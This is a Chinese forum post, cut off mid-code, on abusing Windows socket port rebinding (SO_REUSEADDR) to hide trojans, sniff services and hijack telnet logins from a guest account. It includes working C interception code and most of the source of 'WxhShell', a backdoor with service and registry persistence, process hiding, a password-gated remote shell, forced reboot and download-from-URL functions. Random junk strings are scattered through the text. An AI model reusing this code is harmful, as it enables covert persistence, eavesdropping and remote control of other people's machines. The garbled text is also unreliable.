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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {[eY/)6H  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^B7Aam  
^[6AOz+L  
  saddr.sin_family = AF_INET; (uE_mEIsv  
4?cg6WJ'6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f sMF46  
wrWWXOZ 4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !{+(oDN  
&^"m6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y\\&~g42R2  
k 'o?/  
  这意味着什么?意味着可以进行如下的攻击: `Bx CTwc  
4R.#=]F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \4 DH&gZ[  
k K(,FB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e): &pqA  
xK f+.6 wz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eL*Edl|#  
QCMF_;aNI  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $t^`Pt*:u  
*e=e7KC6kI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 RN;Tqq):  
6K6ihR!d  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V*)gJg  
6b0#z#E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #gP\q?5Ov  
K(hf)1q  
  #include U-(d~]$  
  #include = 619+[fK  
  #include 0< !BzG  
  #include    fa)G$Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xg"=,j2  
  int main() dCBJV  
  { JyV"jL   
  WORD wVersionRequested; >:.Bn8-  
  DWORD ret; 3s+D x$Ud  
  WSADATA wsaData; :?zOLw?(  
  BOOL val; 1*s Lj#  
  SOCKADDR_IN saddr; @d)6LA9Ec  
  SOCKADDR_IN scaddr; D0~mu{;c$  
  int err;  I2b[  
  SOCKET s; N9hBGa$  
  SOCKET sc; D n^RZLRhy  
  int caddsize; 9 HuE'(wQ  
  HANDLE mt; MQAb8 K:e  
  DWORD tid;   9 ItsK  
  wVersionRequested = MAKEWORD( 2, 2 ); ^#Shs^#  
  err = WSAStartup( wVersionRequested, &wsaData ); fz%urbJR  
  if ( err != 0 ) { :jA~zHO  
  printf("error!WSAStartup failed!\n"); a"}?{  
  return -1; W,vb7v'  
  } r'j*f"uAm  
  saddr.sin_family = AF_INET; %',. K)IR  
   $?7}4u,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \ FA7 +Q  
N. uw2Y%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [b`k\~N4r  
  saddr.sin_port = htons(23); 2`x[y?Tn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3a =KgOvp  
  { NVQ IRQ.  
  printf("error!socket failed!\n"); r__uPyIMG/  
  return -1; ?>e-6*.  
  } 75a3H`  
  val = TRUE; &N,c:dNe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,+f'%)s_x  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ibh!8"[  
  { E0w>c'kH  
  printf("error!setsockopt failed!\n"); \D0Pik@?  
  return -1; S%'t )tt,  
  } yB&s2J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |[0|j/V%O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0nC%tCV'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R/iXO~/"J  
SH"O<c Dp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) HyB!8M|  
  { &uC7W.|  
  ret=GetLastError(); P9gIKOOx#4  
  printf("error!bind failed!\n"); ]R( =)  
  return -1; f"S^:F0  
  } k#U?Xs>  
  listen(s,2); m)&2zV/Q  
  while(1) rTQrlQ:@  
  { r'"H8>UZ%  
  caddsize = sizeof(scaddr); U:p<pTnMR  
  //接受连接请求 TRa|}JaI"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B#8!8  
  if(sc!=INVALID_SOCKET) hl8[A-d(R  
  { mI-$4st]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8|gwH2 st~  
  if(mt==NULL) -(P"+g3T  
  { HI55):Eb  
  printf("Thread Creat Failed!\n"); PXWBc\  
  break; .:E%cL +h  
  } cl[rgj  
  } yy@g=<okt\  
  CloseHandle(mt); I;9>$?t[  
  } c<|;<8ew  
  closesocket(s); ftRf~5d2  
  WSACleanup(); dG\dGSZ\h  
  return 0; "4Cb dD//  
  }   40+~;20  
  DWORD WINAPI ClientThread(LPVOID lpParam) yi PMJ  
  { &G:#7HX@-  
  SOCKET ss = (SOCKET)lpParam; }Til $TT%H  
  SOCKET sc; x^&D8&4^  
  unsigned char buf[4096]; ; &$djP  
  SOCKADDR_IN saddr; rz5AIe>Hm  
  long num; pxjb^GZ0  
  DWORD val; 7xqTTN6h  
  DWORD ret; -Z9e}$q$,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 JHBX'1GQa  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X&b)E0]pR  
  saddr.sin_family = AF_INET; um~U_&>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T|[zk.8=E  
  saddr.sin_port = htons(23); <7-3j{065  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4vC { G.  
  { gy0l@ 5 N  
  printf("error!socket failed!\n"); [BWA$5D)Ny  
  return -1; &c%;Lo  
  } Dm2&}{&K  
  val = 100; p@0Va  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iLD}>=  
  { qX>mOW^gT8  
  ret = GetLastError(); ')zdI]@ M  
  return -1; d?)k<!fJk  
  } _XvSe]`f`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5=(fuY3  
  { UU~S{!*+L  
  ret = GetLastError(); ^z>3+oi  
  return -1; DAa??/,x7  
  } as6a)t.^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %|Sh|\6A!  
  { lcO;3CrJ!  
  printf("error!socket connect failed!\n"); k  <SFl  
  closesocket(sc); R <}UT  
  closesocket(ss); x%@n$4wk7  
  return -1; 3@7IY4>o  
  } ;W 16Hr Z  
  while(1) #l2KJ7AMK  
  { CEzwI _  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cgY + xd@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -*HR0:H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F/}(FG<'>I  
  num = recv(ss,buf,4096,0); dz_~_|  
  if(num>0) H}vq2|MN  
  send(sc,buf,num,0); SA!P:Q?h  
  else if(num==0) Qu]F<H*Y|  
  break; ;&=c@>!xP#  
  num = recv(sc,buf,4096,0); vuN!7*d+  
  if(num>0) B*B}eXUph  
  send(ss,buf,num,0); 4E:kDl*@  
  else if(num==0) f_'#wc6  
  break; $^~dqmE2,  
  } ,X^I]]  
  closesocket(ss); xYSNop3_  
  closesocket(sc); K FMx(fD  
  return 0 ; w\SfzJN  
  } x`9IQQ  
0q}k"(9  
GE?M. '!{{  
========================================================== ^I!u H1G  
1!/WC.0  
下边附上一个代码,,WXhSHELL bMU0h,|]  
n3x< L:)  
========================================================== BeFCt;  
q}x+#[Ef  
#include "stdafx.h" n06T6oc  
P~xP@? I%  
#include <stdio.h> uPh/u!  
#include <string.h> 3FetyW l'  
#include <windows.h> pd%h5|*n;  
#include <winsock2.h> 'fo.1  
#include <winsvc.h> #ATV#/hW  
#include <urlmon.h> {zhajY7  
d x52[W  
#pragma comment (lib, "Ws2_32.lib") +t[i68,%  
#pragma comment (lib, "urlmon.lib") EUGN`t-M  
[cfKvROG  
#define MAX_USER   100 // 最大客户端连接数 2d:IYCl4q  
#define BUF_SOCK   200 // sock buffer V d`}F0WD  
#define KEY_BUFF   255 // 输入 buffer K-X@3&X}  
I)s~kA.e  
#define REBOOT     0   // 重启 Le,e,#hiY  
#define SHUTDOWN   1   // 关机 6Z ,GD  
?R#?=<VkG  
#define DEF_PORT   5000 // 监听端口 NLnfCY-h  
^t0Yh%V7  
#define REG_LEN     16   // 注册表键长度 lE|Hp  
#define SVC_LEN     80   // NT服务名长度 >n(Ga9E  
xQU$E|I  
// 从dll定义API $*-UY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xZ84q'i"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); HdR%n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <36z,[,kZ@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yUY* l@v]  
qL;u59  
// wxhshell配置信息 K (px-jY  
struct WSCFG { Aq3.%,X2H  
  int ws_port;         // 监听端口 zb_nU7Eg  
  char ws_passstr[REG_LEN]; // 口令 T>P[0`*)  
  int ws_autoins;       // 安装标记, 1=yes 0=no lX)ZQY:=:  
  char ws_regname[REG_LEN]; // 注册表键名 SOg>0VH)  
  char ws_svcname[REG_LEN]; // 服务名 aWg*f*2f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z4VNm1qs  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 md S`nhb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <0sT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GI. =\s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B QxU~s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3{/[gX9  
))NiX^)8^  
}; <h"07.y  
P,RdY M06  
// default Wxhshell configuration _+=M)lPm  
struct WSCFG wscfg={DEF_PORT, :@oy5zib  
    "xuhuanlingzhe", i!KZg74V  
    1, =wcqCW,]  
    "Wxhshell", **KkPjAO?  
    "Wxhshell", L;%_r)  
            "WxhShell Service", p3`odmbN  
    "Wrsky Windows CmdShell Service", wbImE;-Z  
    "Please Input Your Password: ", 8n2MZ9p]  
  1, u#bd*(  
  "http://www.wrsky.com/wxhshell.exe", gR#lRA/  
  "Wxhshell.exe" qvHRP@  
    }; Bj1{=Pvl  
jT:z#B%  
// 消息定义模块 + 7~u_J  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /$-Tg)o5i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 31*0b|Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .$]%gjIBCl  
char *msg_ws_ext="\n\rExit."; +CaA%u  
char *msg_ws_end="\n\rQuit."; d(t$riFX}  
char *msg_ws_boot="\n\rReboot..."; Rzj1D:?X@  
char *msg_ws_poff="\n\rShutdown..."; f#>ubmuI^  
char *msg_ws_down="\n\rSave to "; 31-:xUIX  
{];8jdg/?  
char *msg_ws_err="\n\rErr!"; r5wy]z^  
char *msg_ws_ok="\n\rOK!"; vQ_D%f4;  
'n$TJp|s  
char ExeFile[MAX_PATH]; QA"mWw-Ds  
int nUser = 0; $-#|g  
HANDLE handles[MAX_USER]; $C^tZFq  
int OsIsNt; oU[>.Igi  
@gM>Lxj  
SERVICE_STATUS       serviceStatus; S`t@L}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =" Sb>_  
/9wmc2  
// 函数声明 -1z<,IN+  
int Install(void); )}|b6{{<  
int Uninstall(void); vw5f|Q92  
int DownloadFile(char *sURL, SOCKET wsh); }<7S% ?TY  
int Boot(int flag); GYJ lX  
void HideProc(void); + r<d z  
int GetOsVer(void); I}hY @  
int Wxhshell(SOCKET wsl); V;-$k@$b.  
void TalkWithClient(void *cs); 2leTEs5aK`  
int CmdShell(SOCKET sock); kKlcK_b;  
int StartFromService(void); x sN)a!  
int StartWxhshell(LPSTR lpCmdLine); 9*b(\Z)N  
w$fP$ \+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <n|ayxA)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NpLO_-  
YEiQ`sYKG  
// 数据结构和表定义 H4Lvw8G  
SERVICE_TABLE_ENTRY DispatchTable[] = g q|]t<'  
{ Jv[c?6He  
{wscfg.ws_svcname, NTServiceMain}, ?ypX``3#s7  
{NULL, NULL} 93]67PL#+  
}; =F 9!)r  
K.P1|  
// 自我安装 ^$VH~i&  
int Install(void) Ro:DAxi @L  
{ xa&5o`>1G  
  char svExeFile[MAX_PATH]; -#agWqUM|T  
  HKEY key; ]ML(=7z"  
  strcpy(svExeFile,ExeFile); l.3|0lopX)  
IMT]!j&Y,  
// 如果是win9x系统,修改注册表设为自启动 |08'd5  
if(!OsIsNt) { JIH6!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O*dtVX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @SX-=Nr  
  RegCloseKey(key); ='z4bU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yb? L:,a(I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zho$g9*  
  RegCloseKey(key); Op>l~{{{  
  return 0; +>*! 3x+sE  
    } :41Ch^\E  
  } +`]AutNv  
} /Y_)dz^@  
else { /UP1*L  
yR'%UpaE  
// 如果是NT以上系统,安装为系统服务 kl+^0i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !=SBeq  
if (schSCManager!=0) (_.0g}2  
{ E#A%aLp0E  
  SC_HANDLE schService = CreateService D.:6X'hp  
  ( mYRsM s  
  schSCManager, vDit&Lh{T  
  wscfg.ws_svcname, 2^f6@;=M  
  wscfg.ws_svcdisp, *{fL t  
  SERVICE_ALL_ACCESS, 'OjsV$_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )wdTs>W7  
  SERVICE_AUTO_START, 79MF;>=tV  
  SERVICE_ERROR_NORMAL, E Z+L'  
  svExeFile, 5N /NUs   
  NULL, 2T&n6t$p  
  NULL, f:u3fL  
  NULL, K?$|Y-_D^M  
  NULL, j.O+e|kxU  
  NULL 0E^6"nt7N  
  ); mR3-+dB/  
  if (schService!=0) lFT` WO  
  { q>5 K:5  
  CloseServiceHandle(schService); NO'37d  
  CloseServiceHandle(schSCManager); Q XLHQ_V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Uz$.sa  
  strcat(svExeFile,wscfg.ws_svcname); =b_/_b$q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QFX/x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (Rs052m1  
  RegCloseKey(key); [#mRlL0yk  
  return 0; (JI[y"2  
    } <yg! D21Y  
  } B$D7}=|kc  
  CloseServiceHandle(schSCManager); 8lZB3p]X  
} UY~N4IR8  
} t4[<N  
NDYm7X*et  
return 1; 2Sb68hJIE  
} H9+[T3b  
/]>8V'e\  
// 自我卸载 }_|qDMk+  
int Uninstall(void) ,(y6XUV~  
{ pr.+r?la]  
  HKEY key; ?Jy /]j5fI  
5e|yW0o  
if(!OsIsNt) { W\1V`\gF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^jB17z[  
  RegDeleteValue(key,wscfg.ws_regname); +.pri  
  RegCloseKey(key); j[Z<|Da  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [$e\?c  
  RegDeleteValue(key,wscfg.ws_regname); <; P40jDL  
  RegCloseKey(key); lNbAt4]}f(  
  return 0; \\9I:-j:p  
  } H7?Sd(U  
} q<Z`<e  
} c5- 56 Q  
else { E E^l w61  
DNu-Ce%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o8c5~fG1  
if (schSCManager!=0) /{%p%Q[X  
{ reI4!,x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .9VhDrCK  
  if (schService!=0) k^ Qd%;bdF  
  { '4e, e|r  
  if(DeleteService(schService)!=0) { Boj#r ,x  
  CloseServiceHandle(schService); >hv8zHOO:  
  CloseServiceHandle(schSCManager); * &O4b3R  
  return 0; /|LQ?n  
  } h\lyt(.s  
  CloseServiceHandle(schService); :D:Y-cG*n<  
  } FXG,D J:  
  CloseServiceHandle(schSCManager); opv<r* !  
} PfjD!=yS=h  
} Ge^(Ag}vE  
%pj T?G7  
return 1; 8z)J rO}  
} K)N'~jCG  
S=_*<[W%4  
// 从指定url下载文件 x%`tWE|  
int DownloadFile(char *sURL, SOCKET wsh) 1<D^+FC4b,  
{ 5H }d\=z  
  HRESULT hr; 9r=yfc!cS  
char seps[]= "/"; )Nt'Z*K*  
char *token; 2OZ<t@\OY  
char *file; L#MgoBXr  
char myURL[MAX_PATH]; >41K>=K  
char myFILE[MAX_PATH]; 1TlMB  
GV8`.3DBOF  
strcpy(myURL,sURL); =<[M$"S7d6  
  token=strtok(myURL,seps); r8,'LZIz  
  while(token!=NULL) 7RCVqc"  
  { 4WXr~?Vq9  
    file=token; TH>7XK<90M  
  token=strtok(NULL,seps); KmpKyc[  
  } zT+ "Z(oz,  
yF@72tK  
GetCurrentDirectory(MAX_PATH,myFILE); %(A@=0r#  
strcat(myFILE, "\\"); Ti>2N  
strcat(myFILE, file); -GODM128 ^  
  send(wsh,myFILE,strlen(myFILE),0); ]FEsN6  
send(wsh,"...",3,0); [vn"r^P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WXFC e@  
  if(hr==S_OK) (Qd@Q,@(s  
return 0; 4Ul*`/d  
else ~tZy-1  
return 1; t*wV<b  
n'9&q]GN|  
} M,sZ8eeq  
`N;O6 wZ  
// 系统电源模块 %@^9(xTE  
int Boot(int flag) Pf#DBW*  
{ q'KXn0IY#  
  HANDLE hToken; ,% *Jm  
  TOKEN_PRIVILEGES tkp; yC\!6pg  
C:ntr=3J  
  if(OsIsNt) { so_^%) gdJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @r]1;KG  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1xjw=  
    tkp.PrivilegeCount = 1; nJR(lXWO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GsiT!OP]y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U.c~l,5%"  
if(flag==REBOOT) { 6ANA oWg*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A \-r%&.  
  return 0; 9)J)r \  
} C *]XQ1F4  
else { GzjC;+W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !laOiH  
  return 0; T)mh  
} * TByAa{  
  } kb[+II  
  else { ,+!|~1  
if(flag==REBOOT) { qF4=MQm\aE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TGzs|-  
  return 0; -?1ed|I8  
}  rqEP!S^  
else { "O<TNSbrC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MZS/o3  
  return 0; [m6%_3zV  
} ;"]?&ri  
} TlpQ9T  
J~lKN <w  
return 1; lin  
} C A$R  
J=B,$4)9  
// win9x进程隐藏模块 ]~7xq)28  
void HideProc(void) 9M7Wlx2  
{ uO4R5F|tL  
Y0g6zHk7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zv~b-Tp  
  if ( hKernel != NULL ) xPMX\aI|l  
  { @] 3`S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LX7<+`aa  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZG)6{WS  
    FreeLibrary(hKernel); ~QU\kZ7Z  
  } LsaRw-4.c  
X;d 1@G  
return; vg\fBHzn  
} oB%j3aAH  
VL2ACv(  
// 获取操作系统版本 UQ~gjnb[c  
int GetOsVer(void) 3$P GLM  
{ pXf5/u8&  
  OSVERSIONINFO winfo; UB7C,:"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -9yWf8;  
  GetVersionEx(&winfo); |V mQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J-W8wCq`  
  return 1; tNYCyw{K  
  else c1h?aP  
  return 0; crU]P $a  
} :JCe,1!3@  
]lA.?  
// 客户端句柄模块 6B@{X^6y  
int Wxhshell(SOCKET wsl) Jqqt@5Ni  
{ 8g6G},Y0  
  SOCKET wsh; `.YMbj#T  
  struct sockaddr_in client; -XWlmw*i(g  
  DWORD myID; ty b-VO  
7F8>w 7Y]  
  while(nUser<MAX_USER) iQz c$y^,9  
{ 54%h)dLDy  
  int nSize=sizeof(client); 6]Ri$V&"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v,Yz\onB^  
  if(wsh==INVALID_SOCKET) return 1; gF&HJF 0x  
ju(QSZ|;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ::!{f+Up  
if(handles[nUser]==0) &u0on) E  
  closesocket(wsh); s3oQ( wC %  
else g/OL ^A  
  nUser++; * NdL4c~  
  } 89[OaT_hs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); g BV66L  
7r$'2">K(  
  return 0; <26Jif:  
} q[TW  
9FmX^t$T  
// 关闭 socket .h\[7r  
void CloseIt(SOCKET wsh) d5 U+]g  
{ ?o_ D#gG*  
closesocket(wsh); ,{sCI/  
nUser--; *+>QKR7  
ExitThread(0); ePe/@g1K*  
} "U iv[8B  
|oTA $bln  
// 客户端请求句柄 Fo GSCg%  
void TalkWithClient(void *cs) z>O=. Ku6  
{ #<gD@Jybu  
nHIW_+<Mf  
  SOCKET wsh=(SOCKET)cs; crRYgr  
  char pwd[SVC_LEN]; v9l|MI15V  
  char cmd[KEY_BUFF]; +t<'{KZ7;  
char chr[1]; Hb@PQcj  
int i,j; UYsyVY`Fm|  
R;F z"J  
  while (nUser < MAX_USER) { )r6d3-p1  
H1a<&7  
if(wscfg.ws_passstr) { Rx.dM_S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |gM@}!DL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]VHO'z\m  
  //ZeroMemory(pwd,KEY_BUFF); I] 0 D*z  
      i=0; Ugv"A;l  
  while(i<SVC_LEN) { Lb%:u5X\D@  
W3Dtt-)E  
  // 设置超时 DeGcS1_?  
  fd_set FdRead; ^:,I #]  
  struct timeval TimeOut; "[wP1n!G  
  FD_ZERO(&FdRead); "yc@_+"\+  
  FD_SET(wsh,&FdRead); qb >mUS  
  TimeOut.tv_sec=8; V.~C.x  
  TimeOut.tv_usec=0; ^3w >:4m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |f< -lB[k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HbQ+:B]  
#~:@H&f790  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o :_'R5  
  pwd=chr[0]; d/&~IR  
  if(chr[0]==0xd || chr[0]==0xa) { SMbhJ}\O  
  pwd=0; <wO8=bem  
  break; Fq #;  
  } c_)lTI4  
  i++; w $z]Z-  
    } 46M?Gfd,X  
bs\7 juHt  
  // 如果是非法用户,关闭 socket OjBg$f~0F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E~'QC  
} Afo qCF  
gukKa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4: S-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a29rD$  
$+p4X# _  
while(1) { v="2p8@F  
F}{uY(hv"[  
  ZeroMemory(cmd,KEY_BUFF); A#8Dv&$Pr  
\EOPlyf8x  
      // 自动支持客户端 telnet标准   ,[|4{qli\  
  j=0; sboX<  
  while(j<KEY_BUFF) { %TA@-tK=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `=VN\W^&  
  cmd[j]=chr[0]; m{ C  
  if(chr[0]==0xa || chr[0]==0xd) { Y+ea  
  cmd[j]=0; FvV:$V|  
  break; rT{+ h}vO  
  } Z{spo=  
  j++; [{cMEV&  
    } OAd}#R\U  
:/941?%M  
  // 下载文件 g=_@j`  
  if(strstr(cmd,"http://")) { >Mc,c(CvU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "I)`g y&  
  if(DownloadFile(cmd,wsh)) MPF;P&6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =r1 @?x  
  else 1"P^!N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L[cl$ pYV  
  } pG(%yIiAi  
  else { `w/`qG:dK  
ecG,[1];  
    switch(cmd[0]) { 3F|#nq  
  b$G &i'd  
  // 帮助 z 2Rg`1B  
  case '?': { )TV{n#n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R3ru<u>k&  
    break; sqP (1|9  
  } 1*u i|fuK  
  // 安装 i\z,)xp  
  case 'i': { .iXI oka  
    if(Install()) jj8h>"d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @O Rk  
    else euc|G Xs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % C.I2J`_  
    break; yp.\KLq8)  
    } UA]U_P$c  
  // 卸载 Jx_BjkF  
  case 'r': { s6| S#  
    if(Uninstall()) 2#?qey  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |ZuS"'3_w  
    else ^i!6q9<{e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "~^ #{q  
    break; -=CZhp  
    } O0Sk?uJ <  
  // 显示 wxhshell 所在路径 ^P !} "  
  case 'p': { K|g+W t^tQ  
    char svExeFile[MAX_PATH]; u?+i5=N9{  
    strcpy(svExeFile,"\n\r"); 5$.e5y<&(  
      strcat(svExeFile,ExeFile); i $:QOMA  
        send(wsh,svExeFile,strlen(svExeFile),0); M h5>@-fEE  
    break; A9L {c!|-  
    } F ;;\I  
  // 重启 %an&lcoX  
  case 'b': { N% W298  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .PJCBT e  
    if(Boot(REBOOT)) LIZsDTU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XAF*jevr  
    else { qH1&tW$  
    closesocket(wsh); E+xC1U 3  
    ExitThread(0); HbXYinG%  
    } p&|:,|jo5  
    break; ytg' {)  
    } JXA!l ?%  
  // 关机 !<2%N3l  
  case 'd': { Mp`2[S@$  
